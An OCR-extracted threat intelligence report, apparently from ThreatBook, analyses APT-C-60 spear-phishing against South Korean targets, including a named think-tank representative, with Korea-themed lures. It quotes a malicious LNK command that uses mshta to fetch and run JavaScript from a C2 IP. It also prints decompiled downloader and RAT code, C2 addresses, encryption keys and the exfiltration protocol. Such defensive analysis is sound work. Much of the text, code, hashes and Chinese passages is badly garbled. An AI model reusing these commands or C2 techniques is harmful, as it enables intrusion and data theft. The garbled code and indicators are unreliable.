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Analysis of APT-C-60 Attack on South Korea

ThreatBook : : 11/25/2022

Summary

APT-C-60 is disclosed by domestic security vendors in 2021. It is reported that the earliest attack time can be traced
back to 2018 and the attack targets human resources and trade-related institutions including China. Recent
monitoring by ThreatBook Intelligence Research and Response Team found that the Group has been active since
December 2021. In June this year, the Group launched targeted attacks on targets in S. Korea. With analysis of the
attacks, the findings are as follows:

The targets of this batch of attacks include Dr. Bernhard Seliger, the representative of the Hanns Seidel
Stiftung, and politicians who may be related to the 2022 Pyeong Chang Peace Forum.

Two time nodes of this attack: attack on the politicians related to the 2022 Pyeong Chang Peace Forum in early
February 2022; targeted attack on Dr. Bernhard Seliger in mid-June 2022. Both are spear-mail type attacks.
The network assets used by attacker for payload hosting attack and C&C communication include public free
cloud storage sites (such as bitbucket.org, statcounter.com) and attacker private C&C assets. Trojan back link
address is to involve multiple url addresses of these two types.

ThreatBook extracts multiple related IOCs though the traceability analysis of related samples, IPS, and domain
names, which can be used for threat intelligence detection. TDP, TIP, API, OneDNS, OneEDR of ThreatBook
have all supported the detection of this attack activity and group.

Details

On June 20, 2022, the spear-mail delivered to seliger@hss.de is as follows. The attacker pretended it to be a Korean
graduate student’s thesis defense to induce the target person to download malicious files hosted on cloud.mail.ru.

Questionnaire requesting related to Cooperation with North Korea - B4 (HTML)

B @R Q EfrEs

2022/6/20 (A—) 16:30
YS  Yura Sung <yura sung@mail.ru>

Questionnaire requesting related to Cooperation with North Korea
BN Seliger@hss.de

Dear Seliger,

My name is yura sung and a graduate students at Hankuk University of Foreign Studies in Korea, majoring in GSIAS

I am writing to ask you if it is possible for an email interview with you for my thesis.

The subject of my thesis is 'Exploring ways to cooperate with North Kores'.

T'm listening to the opinions of experts on the subject. I know vou are very busy, but if you happen to have time, I'd appreciate it
if you respond and answer my questions(https://cloud. mail. ru/public/ICUi/ iRpraSakR).

Thank you & Best regards

Yura Sung

yura sung@mail. ru
FEIIENIE,

Flyura sung, FEFESNEIEAZEHTTE, EEGSIAS
BRS(ERERES AL UE B F iRt SR TR M Ei.

BINENTHRRE FREHEAFENEN .

FIEATNEZII RSN, FOEERIC, BRNEERI5EE, WRERSHRIERNTHR, s
ARG (https://cloud.mail.ru/public/JCUj/jRprq5akR)

The downloaded file is a rar compressed file, containing bait file and malicious Ink files. The bait files related to the
thesis are as follows (The Chinese environment of the office causes the Korean to display abnormally).
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According to the machine ID in the Lnk file attribute information: desktop-iag9k61, we also found attack on the early
stage of the Pyeong Chang Peace Forum in February 2022 by APT-C-60. The bait file used is as follows.
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PEACE FORUM 2022

Peace, Here and Now! mg}, 13 o 2o

February 22 Tuel= 24/1Thu!, 2022

Alpensia Convention Center,
PyeongChang, Gangwon, Republic of Korea

In the two attacks, the bitbucket.org site used for payload hosting and file uploading included user IDs:

CI-Lo - o L S

10 January, 2022

Dear all,

| hope this letter finds you in your best health and spirit.

As you may recall PyeongChang hosted the 2018 Olympic and Paralympic Winter Games [PyecngChang 2018),
which were enthusiastically received by many pecple around the worl d.

Py=ongChang 2018 not only achieved success as international sporting events but also made meaningful

contributi ons to the establishment of peace. As part of our continued efforts, Gangwon Province and Pyeong Chang
City launched the PyeongChang Peace Forum and the Legacy foundation is in charge of organizing the forum to
relive the greatest moment of the Games, the peaceful atmosphere created on the Korean Peninsula, and to
expand it as a peace legacy.

At PyeongChang Peace Forum 2022 (February 22-24, 2022 [ PyeongChang Alpensia Convention center, Korea) we
will discuss diverse topics and issues encompassing the role of sports with 5 key point agenda : economy, Sports,
DMZ Peace Zone, UN 5DGs, and peace public diplomacy. Under its slogan of “Peace, Here and Now!”, the
international forum will identify new challenges and opportunities in achieving peace on the Korean Peninsula and
bring together world lea ders, peace builders and partici pants from all over the world in Gangwon Province, the

world's only divided province.

It is with our great pleasure to invite you as attendence to the Pyeong Chang Peace Forum. | believe your presence
and share the experience will help us realize the Sports |deals and create a lasting legacy.

We look forward to welcoming you again to Gangwon Province this February

Sincerely yours,

Ao P

CHOI Moon-soon Governar HANWang-gi RYU Seung-min
of Gangwon Province Mayor of President of
Py=ongChang city PyeongChang 2018 Lezacy
Foundation

2022 F ENIHItings

grand9_neat, Miravos, sorakas. Storage files related to the current attack have been deleted.

<«

C (3 @& bitbucketorg/grand9_neat/well/downloads/?tab=downloads & &

T Bitbucket Q search

well < grand9neat / grand9neat / wel

<>

=

e ¢ D

Downloads
Source

e ©  For large uploads, we recommend using the API. Get instructions

Branches Downloads Tags Branches

Pull requests
Name Size Uploaded by Downloads Date

Pipel
IRl Download repesitory 629 KB

Deployments

Jiraissues

Security

Downloads

»
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cC O

bitbucket.org/miravos/ BB ©
I Bitbucket Q search
E miravo
miravo
Repositories

[ Repositories

Sea Q Privacy v  language v
3 Projects
Repository Description Updated v
stie . 2019-12-06
Untitled praject
& c O & bitbucket.org/sorakas/workspace/repositories & =
& Bitbucket Q Search

sorakas
sorakas

Repositories

[©] Repositories

Search repositories Q| Privacy v language v
[3J Projects
Repository Description Updated v
o
> [ 2019-12-06

Untitled project

Sample Analysis

The payload execution process in the attack is as follows. Starting from the downloaded compressed file, the
persistence payload is to be divided into three parts: Lnk file with malicious download, downloader Trojan

(mssysmon.db) with file information acquisition and download execution, remote-control Trojan (TaskControler.dll)

with file stealing, plug-in loading, and shell function. Subsequent sections are to analyze the three types of
components.

L
)

cac

& B

BERHEREEECKCET
bitbucketorg.
c.statcounter.com......

cloud.mail.ru

cmd echo | mshta

http://B2.221. **/k0201.txt ey

FERULE, A
gk £

WTiTEs TEEET (exe\diNpsT)
......... > i .
= e ¢ -
TFEibmpAdibiEiElemssysmon db;
Malware Ink 2 TR S AT " mssysmon
compress e (x86/x64DLL) | FEBUT A
& | [0 s R
AR —
msiobjo/taskControler SIREFNER

(x86/x64DLL)

Malware Lnk

Taking “Online questionnaire-Exploring ways to cooperate with North Korea.docx.Ink” as an example, the sample
information is as follows
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File Name Online questionnaire-Exploring ways to cooperate with North Korea.docx.lnk

MDs dea292751494716856361a063e574d57

SHAL 1a228bac4cb8c7ccOb619e07209632635b9588ab

SHA256 bffacbb0Ob54a3bldd6f25686d2486d0a064f5e8eedetbde572740f7b63badfad

File Type Windows shortcut

File Size 1.75 KB (1794 bytes)

Description Download and execute http://82.221.129.104/k0201.txt resources.

The command-line of Lnk file is as follows. Call mshta to execute remote javascript.

01BOh: 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 72 73 74 65

C:\Windows\Syste
B

01c0n
01D0n: 65
01EOh: 22
74
&8
=] !
0220h3 2F G
0230n: 74 2]
2E &
2E G
20 3
0270n: 27 3
0280h: 78 5C
0290 &3 78
02200 2E 1
Address Value

Found 6 ASCII strings.
8gh Windows

Dfh System32
139h cmd.exe
180h C\Windows\System32\emd.exe
320Dh desktop-iagk61
5¢oh 15PS0
Found 11 Unicode strings.
BFh Windows
117h System32
16Fh cmd.exe
1cFh Sétemp%h/c *echolset /p="msh’>\1&techo|set /p="ta http;//82.221."> » \1&echo 120.104/k0201.0xt> > \1Bicmd.exe <A 1"
24Dh 196SystemRootds\system32\shell32.dIl
381h faulfTTFont__ (=] B et
486h System32 (C:\Windows)
‘S'EET 1 > 13517143- 3066R3175- 2757643855 1001 OU [+ Online questionnaire-Explaring ways ta caoperate. ~[ 4| 2= online questionnaire-Explori.. P |
635h Application
603h C:\Windows\System32\cmd.exe X REHE) ZEV) IEM  ®EH)
HR E 5757 A= BT TR - @ @
o s =
b= |31 Online questionnaire-Exploring ways to cooperate with North Korea.docx
[ =] &) Yura Sung-self introduction(With CV).docx

Javascript resource jumps through the html index code.

< C Y A F==|82221.129.104/k0201.txt

<html><zcript src=http://82.221.129. 104/k0201 jo. txt></script > </ html>

Obfuscated javascript code after the jump is as follows.
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This js code downloads the next-stage malicious resource from the C&C server , decrypts it and then moves it to
Y%appdata%\Microsoft\Internet Explorer\UserData\Temp\mssysmon.db.
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Elfunction IMG_CHECK() (
window[GetValueByArrayIndes (
window[GetvalussyarrayTndex ('

) {return;}

(GetvalueByarrayIndsx(

~xz (GetValueByArrayIndex (

1

)10, 0n0)
5210 . i

4.22/manager

e\mssysmon

o
]
@
Gl
il
i£ (Getv )) {return
alse(fso[Moveraide
}eatch (_0x£01aa) (
El 1€ (GetvalusByarrayIndex (' )’ )
result_path-R_FIND (subfal'iten'] () [GetValueByArrayIndex ('0x25') ], tofindname) ;
if (result_pathl='') (return result_path;)
Jelse (window[GetValueByArrayIndex (' 0x3')] () ;)
window([GetValueByArrayTndex ('0xd")] () ;

return;

From the download file retrieval code, the existing default download file extensions include “.dib”, “.bmp”. Currently

C&C can only download bmp files.

Hfunction R_FIND(_0x1806d0, 0x50fa83){
B try(

-_0x50fa83[GetValueByArrayIndex (' 0x4")] (xz('5C3758 TEBE3")) 5/ /" Tx
0x50£a83[GetValueByArrayIndex (' )1 (xz (GetValueByArrayIndex (' 1))/ /T
-_0x50fa@3[GetValueByArrayIndex ('0x4")] (xz (GetValueByArrayIndex('0 ) /T
0x50fa83[" 1(xz (GetValueByRrrayIndex (' 0x22'))) ;//"Jx0pe5T2nCn747UP (2] . br
0x50faf3[GetValueByArrayIndex (' Y1 (xz('5 7 ")) /TR T2nCn747UP
0x50£a83[GetValueByArrayIndex (' 0x4')] (xz (GetValueByArrayIndex (' 0 op
so[GetValueByArrayIndex('0 )1 (_0x1806d0) ;
var _0x56cféf-new Enumerator (_0x3af694[GetValueByArrayIndex('0x25")1);

=] for(;!_0x56cféflGetValueByArrayIndex('0x26")]();_0x56cféf[GetValueByArrayIndex('0=27"')1()){
if (GetValueByArrayIndex (' 0x20')——=GetValueByArrayIndex (' 0x29'

A F2== | 131.226.4.22/manager/)xQpe5T2nCn747UP.bmp L

By jacking the COM object whose CLSID is 603D3801-BD81-11d0-A3A5-00C04FD706EC, the persistence of the
landing Trojan is realized. The CLSID is bound to the service named “shared task scheduler”, which is related to
Windows scheduled tasks, and its registered dll component is loaded when os starts.

WekeFolder (031252200
- B &
war Ox1TSE3220540,
75 E32e et ectBrovser O o oz c Bl ane”
3 Coxt' ). 0255 ))) ¢ Dsdifds © Bl
95=_0x4d1 DAL’ concat’ ] (cz GetValuebyhrrayTndes € 0555))) ¢ oSz o .

war Ot el8195xx (GetValusbyhersyTadex ( 057 ). o iz < .
i te_Reg (0<00000001, 01 e1879, _0¢1T5€32, _0xddi fs,_0x2b1685) 9 oavisss © Bxpl o o
send Query (Ox175632)  Datery v
e 0x5adT 9 o undefine
§£(0x1TSE3R==0:20) 9 Desmt wndafined

o EmaEE - =@

X WEE BBV GwEA) B

bt ~|[ =% P =
PRITRCT o8] (B30 REG.SZ c ol db

siD
4- ), {603D3801-BDB1-11d0-A3A5-0

InprocServer32
FirefoxHTML-308046B0AF4A39CB
FirefoxURL-308046B0AF4A39CE

mssysmon.db

Taking “mssysmon.db” as an example to analyze, the sample information is as follows.
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File name mssysmon.db

MD5 513842£50cd9237582bb8d5¢35d11686

SHA1 0218bcab7311f0c75d91616ae996d4a3c4706blc

SHA256 ee862a3d57e45a2b29da%e74987016061e225df71a558c6a42f0819cc7496664

File type Win32 DLL

File size 244 KB (250,368 types)

Compilation | 2022/4/12, 16:32:07

timestamp

Description L . L .
P User, host, C:\Program Files\information acquisition, download execution. C&C:

http://185.207.206.108/premium/P Iy HTBXTDQITHMI.bmp,

https://bitbucket.org/grand9 neat/well/downloads/19132.bmp,

https://bitbucket.org/grand9 neat/well/downloads/19164.bmp

http://162.222.214.50/temp/sourcea.php
https://c.statcounter.com/12733057/0/f9b868f1/1/

Analyze the landing mssysmon.db file, which is dll file, and the core function is provided by tdstart export function.
Before running Trojan, control the unique instance running by creating an event object named
“673304C7B2797C3676B6".

1|[BOOL sub 6B4468F@()

2K

3| WCHAR Name[21]; // [esp+l@h] [ebp-CCh] BYREF

4 _ m128i v2[9]; // [esp+3Ah] [ebp-AZh] BYREF

2

&l gmemcpy(MName, L"673384CT7B2797C3676EBE", sizeof(MName)});
7| memset_sub_ GB44DESE({v2, B, BxIEU);

8| CreateEventW(®, @, @, Name);

9| return GetlLastError() == 183;

Decrypt the C&C configuration, which contains multiple URL address. The Trojan heartbeat interval is 6 hours.

qmemcpy (w14, L"7B64565764405642787F414E4540444(68785F54425E41505A40962776C74761B4C6R6AT7", sizeof(vis));
memset_sub_6B44DEE@(v1S, @, @xFEu);
strdecrypt_sub_6B442A78(8, v1Z, v1E, @);
strdecrypt_sub_6B442A78(@
strdecrypt_sub_gB442A78
strdecrypt_sub_6B442A70
strdecrypt_sub_6B442A70

| // http://msn.com
_ \
_ (@
_ (e
A (@
strdecrypt_sub_6B442A78(8,
_ (@
_ (e
_ (@

// https://google.com

/f B394MBYRRNK2EIRA

// http://185.207.206.188/premium/P1

// https://bitbucket.org/grandd neat/well/downloads/19132.bmp
/f https://bitbucket.org/grandd_neat/well/downloads/19164.bmp
/f http://162.222.214.58/temp/sourcea.php

// https://c.statcounter.com/12733@57/@/fob868T1/1/

/1 Uz-1

:

L

strdecrypt_sub_gB442A78
strdecrypt_sub_6B442A70
strdecrypt_sub_6B442278

SR

WA PRI RDORD KD

while (1)
{
VS = sub 6B44AREB(.22); £/ http://msn. confEE X i@ T
if (5 == -1 )
w5 = sub_BB44ARGB(v27); // https://google. conPISE R NI
iF (s 1= -1 )
{
strdecrypt_sub_6B442A78(8, v14, v10, 8); // \AppData‘\Roaming\Microsoft\HTML Help
sprintf_sub_6B4441D@(v5, 255, L"#s", vie);
sub_6B443B8@((int)ve, Pathiame); /f GetEnvironmentvariableW(“userprofile™) + str
memset_sub GB44DEEB(v30, B, @x64u);
sub_6B4546BE (Pathliame); // BIEBF . %AppData¥\Microsoft\HTML Help
sub_6B44B618(8, @, v3, Pathiame, v38, vi3, v5, vll, vi2, v2e);// HBlc:\Program Files\* *HHEREE
VO = Vidt;
v4 = sub_6B443C58(Pathliame, vB); /¢ tN#insiobie.d1l
i ( lus
v2 = sub_6B44353@(v5, PathName, v7, v3@, vd, vi);// T &
sub_sB44B610(v4, v2, v3, PathName, v vl3, v5, vll, vl2, v2@)};

dword_6B47CB53(21680000) ;

+v3;

v = 8;
The Trojan creates the %AppData%\Microsoft\HTML Help directory as the directory for subsequent plug-in
distribution and log storage. The Trojan acquires the host name, username, os version, and uses AEC encryption to
send it to C&C server to go online. AES key is “8394M8YRRNK2EJRA” in the previous decryption configuration file.
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38| memset_sub_6B44DESB(v10, 8, Bx1Fdu);

39| memset_sub_6B44DESB(v9, @, @x1Fdu);

40| AES_decrypt_sub_68441678(a3, v19, a4, @);

21| strdecrypt_sub_6B442A78(1, v13, @, (int)vis);

2| strdecrypt_sub_68442A78(1, v11, @, (int)vie);

43| strdecrypt_sub_6B442A70(1, (_intl6 *)vig, 8, (int)vi7);
24| sub_6B44A830( /1 User-Agent: myagent..Referer:>1.91>U2-1>56_000d_66h>Ep/hREASF_Xpy. [>wsl-<g8ff785 Ar|>H"&2\ME 2
as| A,

a5 "%s\r\n¥sksEsksHsHs¥sks¥shs”,

47| vis

as

a9

50

51

52

53

54

55

56

-

58

59

0

61 i=8; i< 3; )

62 {

63 dword_6847C058(10) ; /1 sleep
64 v8 = dword_6B47C@78(a1, a2, v9, -1, 8, 8);// InternetOpenUrlA,http://162.222.214.56/temp/sourcea. php
65 if (i)

Traverse c:\Program Files\ directory, acquire file directory information, and send it to the C&C server. C&C target
address includes two as follows: http://162.222.214.50/temp/sourcea.php,
https://c.statcounter.com/12733057/0/f9b868f1/1/.

183 strdecrypt_sub_6B442A70(1, ( intl6 *
184  sub_6B442A80(v33, 20, "Xsksk03d¥s¥e2d¥s”,
185 C_CConect_sub_6B44AD7@(v56, (int)vas, (int
186 C_CConect_sub_6B44AD78(v50, (int)vas, (int)vs

4, "d_", 6 * a3 % 24, (const char ")L"h");// S@_eeed_8oh
3// http://162.222.214.58/temp/sourcea.php
// https://c.statcounter.com/12733857/8/T9b868F1/1/

189
190 w28 = dword_6B47CE6C;
191 dword_6B47CB6C(v50); // wininet.InternetCloseHandle

}
193| strdecrypt sub_6B442478(8,
194| sprintf_sub_6B4441D8((int)

v62, (int)vB4, @); // \ebjects.log
3, 255, (int)L"Xs%s", a4, vB4);// C:\Users\helloworld\AppData\Roaming\Microsoft\HTML Help\objects.log

195 if { sub 6B453568(vs3, @) != -1 )
196 return ;

197 vi3 = @;

198 =1

26| memset_sub_6B44DEBB(vEC, B, @x12Cu);

sprintf_sub_684441D8((int)v75, 388, (int)&unk BBA6DE3E);
memset_sub_6B44DESE(v74, B, @x12Cu);

strdecrypt_sub_6B442470(8, v54, (int)vad, @); // c:\Program Files\*.*
v28 = dword_6B47CE7C;

HANDLE )dword_6B47C07C (va4, &FindFileData);// FindFirstFilel
ndFile I= (HANDLE}-1 )

strdecrypt_sub_6B442870(@,
sprintf_sub_684441D8( (int):
Cat_sub_6B44B2BB(v75, V74, v
de

;// (Program Files)

sprintf_sub_6844410D8( (int
w4 = Cat sub 6B44B2BB(v75, v74, vBA, vB2, va3);

SN EWNE S B0 NG 0k WR e

PR R MR R N R NN R RN R
e e e e R R R SRR

Traverse the %AppData%\MicrosofttHTML Help directory, delete the .mui file and load msiobj.dll file. If the msiobj.dll
file does not exist, then download it again. The download address includes:
http://185.207.206.108/premium/P1/HTBXTDQJJHMI.bmp,
https://bitbucket.org/grand9_neat/well/downloads/19132.bmp,
https://bitbucket.org/grand9_neat/well/downloads/19164.bmp.

strdecrypt sub GB4d42a78(8, v

sprintf_sub_6B4441D8((int)Ex

strdecrypt_sub_cB442a78(8,

sprintf_sub BB4441D8( (int)New

(istingFileName, @)
ileMame);

&v18, al, (int)&v23[75 * w9]) == 1 )}// ping

@);// \msiocbjs.mui

e, 255, (int)L"Xs¥s", a2, v23);
, @);// \msiobjs.dll

55, (int)L"¥s¥s™, a2z, v23);

)

sub_6B453768(Ex
if ( sub GBASACSE(&

1

memset_sub_6B44DESE(&v25, @, 8xlesu);
InternetReadFile dword 6B47CB6B(v1s, &v29, 2, &v22);

vi@ = w37
Vil = Wl

if ( v29.m128i ul6[@] != @x4D42 )
1
if ( vis
dword_6B47CeBC(v1E);
continue;

}

InternetReadFile_dword_6B47C868(v1E,

/11 = w22 + vle;
InternetReadFile dword _6B47C865(v1E,
vl2 = w22 + vll;
InternetReadFile dword 6B47C86B(v1E,
vl3 = w22 + wi2;
InternetReadFile_dword_6B47C868(v1E,
vld = w22 + wi3;

InternetReadFile dword 6B47Ce68(v1Es, &v29, 256, &v22);

The loading logic in the %AppData%\MicrosofttHTML Help directory is as follows. Rename the downloaded and
decrypted msiobjs.dll to msiobj0.dll, and then load and call msiobj0.dII!IExtFunc. if it fails, change the dIl extension to
mui, and delete the mui file.
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64| strdecrypt_sub_sBas2a70(0, (
65| sprintf_sub_6BA4a1DB((int)lies
66| strdecrypt_sub_6Ba42a70(0, (-
67| sprintf_sub_sBasa1De((int).
68| strdecrypt_sub 6E442A7B(B (_int1s *)v2a, (int)v2z,
69| sub_6B444BAB(al, v
76| if ( !sub_6B453568(Fx

{
72| sub_6B453721(&v18, (int)Ex

(int)vis, @);// .d1l
(int L "%s%s¥d¥s”, a1,

255, (int)l"EsEsEdist, v18)3// C:\Users\helloworld\AppData\Roaming\Microsof t\HTHL Help\msiobje.mui

HZ
/7 HHBRHTIL HEIp\EiTE’] mui3

Name, @) )

tingFileName, (int)L"r");

73 sub_6B453862(v10, @, 2);

74| 7 = sub_6B454209(v10);
75 i (vie)

76 sub_6B453867 (116);

77| i (V7 <= 6x2000 )

78 {

79 sub_6B453768 (HewFileNane);
80

81 else

82

{
83 sub_6BAS363E (xistin
84 memset_sub_6B4DESA(3, @, OxCBu);

lelame, NewFileName);// msiobjs.dll ->msiobjé.dll

8s 6 = dwurd 6B47C050;

86 hModule 10DULE ) dword_6847C@68 (1= Name);// LoadLibraryW
87 i ( odule )

88 {

89 strdecrypt_sub_6B442A78(1, v16, 8, (int)Prochame);

98 v8 = (void (*y(void))GetProcaddress(hrodule, Prochame);// msiobje.dll!ExtFunc
91 if (

92 va();

93 }

94 V5 = dword_6B47(058;

a5 dword_6847C058(1008) ;

a6 sub_6B45363E(NewFileName, v11);

a7 if ( heodule )

ag return 1;

ag }

128

102]}

}
101 return 8;

TaskControler.dll

Taking “TaskControler.dll” as an example to analyze, the sample information is as follows.

v22, a2, v14);// C:\Users\helloworld\AppData\Roaming\Microsoft\HTHL Help\msiobje.d1l

File name TaskControler.dll

MDS5

eff80f0a757f1298fb11e51480a30503

SHA1 ealcf78ce2ad5228de02cd79f166312a174d050d

SHA256 Tec34297e0c4e5b1bb315be24d725921 1ab658112dc0f9d6d7271544187244e0

File type Win64 DLL

File size 289.00 KB (295936 bytes)

timestamp

Compilation | 2021:11:29 04:57:32+00:00

Description

The remote-control Trojan that provides functions such as downloading, plug-in

loading, screen monitoring, file stealing and shell.

C&C: 160.20.147.118: 80

The Trojan is a 64-bit dll component developed by C++. TaskControler.dlllextension provides core function.

£ = WEEE LemEs

O& B

Lp[EISE:

=13
e
CHHRE
=8
THHEE
FERER
FEREEE
=
Fh
sk
B

F#EE TaskControlerdll

& ~11-2
Task Controler

NEEFTE

3.1.101

Microsoft Windows Task

3.0.13478.1

Microsoft Corporation. All rights reserved.
289 KB

2022/6/23 15:04

RGN

. EEFFEFEE -

. 00045044
. 00000001

NumberOffunctions ... DW... 00000006

dit RVA Name

. 000... 000...
w’E BiE

000000018001=£98 0000000180000000 g ETl
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https://www.virustotal.com/gui/search/name%253ATaskControler.dll

In the initialization phase of the C++ object, start “83a078f58a078f7a88f37g0gf8a873a8” to perform the “xor 2 -1”
operation to obtain the RC4 key “90b149c69b149c4b99c04d1dc9b940b9”, which is to be used for the encryption and
decryption of the communication field in the subsequent C&C communication.

memcp_sub_7FEF@DB214@(v2 + 128, "83a@78f58a@73f7a88f37gegf8a873a8", @x20uiss);

if ( v2[131] >= @x10uisd )
Fuds

vs = -1i64;
do

+H05;
while ( *(v3 + v3) )3
if (vs>@)
{

do

{

6 = (*vé ~ 2) - 1; // 83a078f58a07817a8837g0gf8a873a8 {5 F90b149c69b149c4b99c@4d1dcoba48ba s BIRCA key

7 = -1i64;
do

TG
while ( *(v3 + v7) };

H
while ( va ¢ v7 )3

H

memset(v2 + 64, @, @xleduisd);

RCAInit_sub_7FEFBDCASSB(v2); // RCATE AR 1L
memset((=1 + 1136), @, Bx280uisd);

=(al + 1664) = 0i64;

*(al + 1672) = 15i64;
*(al + 1648) = 85

Before running the Trojan, control the unique instance running by using the mutex
“9ABKD3409ABACL6SGHDG404HNJO".

ve = wy
qword_7FEFBE@2528 =
or()

// createmutex “"9ABKD34@9ABACLESGHDGA@4HNIE"

qword_7FEF@DFE7B8(0i64, Bi64,

if ( GetLastEr = BxB7 )
if w15 < 8 )
return Bigd;
/18 = vi3[8];
if (2% v15 + 2 < @x1@ee || (vie = *(vi3[e] - 1), (vi3[8] - vie - 8) <= @x1F) )

{ . .
j_j_free(vie);
return Big4;

}

Open the %AppData%\Roaming\Microsoft\Vault\UserProfileRoamings directory. If it does not exist, create the
directory and set it to be hidden.

push_sub_7FEF@DC3A38(v36, &qword_7FEFEDFS3ER);// L"%appdata¥\\Microsoft\\Vault\\UserProfileRoamings"

ExpandEnvironmentStringsW_qword_7FEFBDFS888(vS, ::Src, 26@i64);// ExpandEnvironmentStringsW
Vo = -1i64;
do

U9
while ( ::Src[v9] )3
push_sub_7FEFBDE1FDB(vE
mkdir_sub_7FEF@DC5538(

/7 BIEER, %appData%\Roaming\Microsoft\Vault\UserProfileRoamings

SetFileAttributesw_qword 7FEFEDFSE18(v11, 2i64);// HEDTIRME
LoadPlugins_sub_7FEF@DB1328(qword_7FEFEDFDe4®, &unk 7FEF@DFS480, v96);// MHihiT%AppData%\Roaming\Microsoft\Vault\UserProfileRoamingsE R T Hpe 3 #ehipowershell

decrypt_sub_7FEFBDC7496(quord_7FEFEDFE1AB, v166);// BAEHCEC: 168.20.147.118
12 = push_sub_7FEFBDC3A36(vE2, v1P6);

After that, the Trojan traverses the %AppData%\Roaming\Microsoft\Vault\UserProfileRoamings directory , and runs
the attack payload in this directory according to the file extension.

(_int128 %, _ints4))(al + 1432))(v16, 2i64);// SetFileAttributesh

(*(void (_ fastcall **)
if ( vel.mi28i is4fe] )
{

.m128i_i64[0] - 4;
m128i 164[8] < (unsigned _ - 51.m128i_i64[@] - 4) )

LODWORD(vG6[@]) = 18d;
HIDWORD( VG’ 257;

LOWORD(
22 = (

if (

. _QHORD, _QWORD, int, int, _QWORD, _QWORD, _ int128 *,

))(al + 1552))(// CreateProcessi
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Extension Operation

CreateProcessW executes the EXE file.

.exe

-dat Powershell payload, start the powershell process to execute the .dat
file.

db DLL payload, load and run oadLibrary.

-ext DLL payload, load LoadLibrary and call “extension™ export
function.

Decrypt C&C 160.20.147.118. Send https://api.ipify.org/ request to obtain the internet IP. Acquire information of host

and user into the core Trojan work logic. When it is detected and judged that the system has been started for more
than 6 hours, the main thread is to go online with C&C, set a ten-minute heartbeat interval, and schedule working
thread by event object signals.

if ¢

im_sub_7FEFEDB484D(a1)} ¢/ LE#RE
1)

while (1)
{
12[2] = ei64;
13 = 15i68;
LoBYTE(v12[e]) - @5
5[2] = oisa;
9 = 15i64;

LoBYTE(v2[e]) = @5
memcp_sub_7FEFeDB2140 (5, "

3ui6e);

Cat_sub_7FEF@DCaBD0(v3 , (a1 + 16160), (a1 + 16192), 3, (al + 16224))3// "aBB1=85b94efdb611246500535c30214d3Caa8a002=
if (9 5= 8x10 )
t .
4 = va[o];
if (V9 + 1 3= @x1000 )
1
4= "(va[e] - 8);
if (va[l 4 -8 > BxIF )

o] -
invalid_parameter_noinfo_nereturn();
33 free(va);

post_sub_7FEFEDCE17(a1 + 6x1488, V10, v12);

("(s1 + 0x020))(*(a1 + BXIFCE)); /4 Setevent

(*(a1 + 0x020))(*(=1 + @x3FDB));

(*(a1 + ex920))(*(a1 + @x37D8));

if ( *(al + OX3EFB) && (*(al + €x810))() - *(s1 + OX3EFC) > 21600000 )// GetTickCount, i REFET BEhiBide a1

20 = 0
sub_7FEF@DBF77@(al, v14, v5);
Sub 77 EFaDESTB0(v14);

d33d1a103a918ac 022064=NE1X"

The working thread is composed of five independent threads which respectively complete the corresponding
functions: task request, result feedback, screen monitoring, file stealing, RAT.

i

i

i

i

{

i

i

i

i

i

i

¥

-

f ( !*(al + @x3FC8) )
*{al + Bx3FC3) = (*(al
£ [ 1*(al + Bx3FFE) )

+

©x910))(@i64, 1i64, @i64);// CreatEvent

3 = 38011;

={al + Bx3FF@) = (*(al + 2296))(@i64, Bi64, sub 7FEFBDBAASE, a1, 0, &3);// HIENMEMENEEinfo]. cackd, F5iFF

f{ !1*(al + Bx3FDE) )
*(al + Bx3FDB) = (*(al + ©x918))(0i64, 1i64, B8i6d);
F{ !1*(al + Bx3FFB) )

v3 = @x753C;
*(al + @x3FF8) = (*(al

+

¥
£ ( 1%(al + @x3FBE) )

*(al + @x3FB3) = (*(al
f ( !*(al + @x3FEe) )

+

©x910))(0i64, 1i64, Bi64);

5 = Bx753D;
*({al + Bx3FER) = (*(al

+

£ [ 1=(al + Bx3FCE) )
*(al + Bx3FCB) = (*(al + 2320))(0i64, 1i64, Bi64);
f [ !1*(al + Bx3FEB) )

vi = 3g@l4;
*(al + @x3FE8) = (*(al

+

¥
£ ( 1%(al + @x3FDE) )

*(al + @x3FD3) = (*(al
T ( !*(al + ex4e08) )

+

©x910)) (0164, 1i64, 9i64);

3 = 38815;
*(al + ex4@eR) = (*(al

+

eturn 1i64;

The debugging environment Trojan online packet is as follows.

@x8F8))(0i64, Bi64, sub_7FEFBDESCCB, a1, 8, &3);// FEHEN)

2296) ) (ei64, ei64, sub_7FEFEDBSEEG, al, @, &v3);// REFFITER result]Elcic

=

£

2296))(@i64, ©i64, sub_7FEFEDBISER, al, @, &3);// WEEEXIFRCAINE. SEXEWA. L&

2296))(@i64, @i64, sub_7FEFEDBERER, al, @, &v3);// CACIES i &iiT
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POST HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)
Host: 160.20.147.118

a001=85b94efdb6112465b0588c80214d3caada02=82929307d33d1a103a918aca9b39b9908a00

3=uid&a004=N81X

The data in the body with the form of "a001=*&a002=*&a003=*&a004=*" is partially parsed as follows.

Field Description

2001 md5("U12"), fixed value, can be used to identify Trojan moderator

md5(0S original installation data+HostName+UserName), can be used to
a002 identify Trojanized host

Identify the current hitp session function, such as “uid” to identify Trojan
2003 heartbeat packet, “info” to identify the sent data related to Trojanized host
information, etc.

base64(RC4 Encrypt(data)), RC4 encrypted, base64 encoded data. The
2004 encrypted data varies according to the a003 field, when
a003="uid",a004=baseB4(RC4decrypt("U12"))=N81X

There are also post data packets of “b001=*&b002=*&b003=*&b004="", “c001=*&c002="&c003=*&c004=""type in
the Trojan communication, which respectively represent to parse the URL issued by the C&C for downloading action
and file uploading.

In the file uploading part, there are some differences in the processing of screenshot files and file content: the
screenshot files are encoded by base64 and converted to decimal strings; the file content is first encrypted with RC4
and then converted to decimal strings.

do
HvE; .
while ( Buffer[ve] ); uploadpicture
memcp_sub JFEFBDB2148(v21, Buffer, we);
sub_YFEFBDCOCCB(al + 9784, w29, v2l});

! 2oy
if ( w31 >= @x1e )
7 = v29[0];
BasebdEncode_sub 7FEFBDCAE7E@(al + 18928, v27, w7, v3B);

¥

O ka

Sl

Foovd = v X BxA + ex3e;
S= Bxhu; /f to numbers

[Ta]

¥
while ( w3 );
/22 = Bigd;
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while ( 1)
1
memset(vd, @, *(al + 16288));
if ( I(*(al + BxB48))(v2e, v, *(al + 16288), &v54, @i64) )// ReadFile
goto LABEL_54;
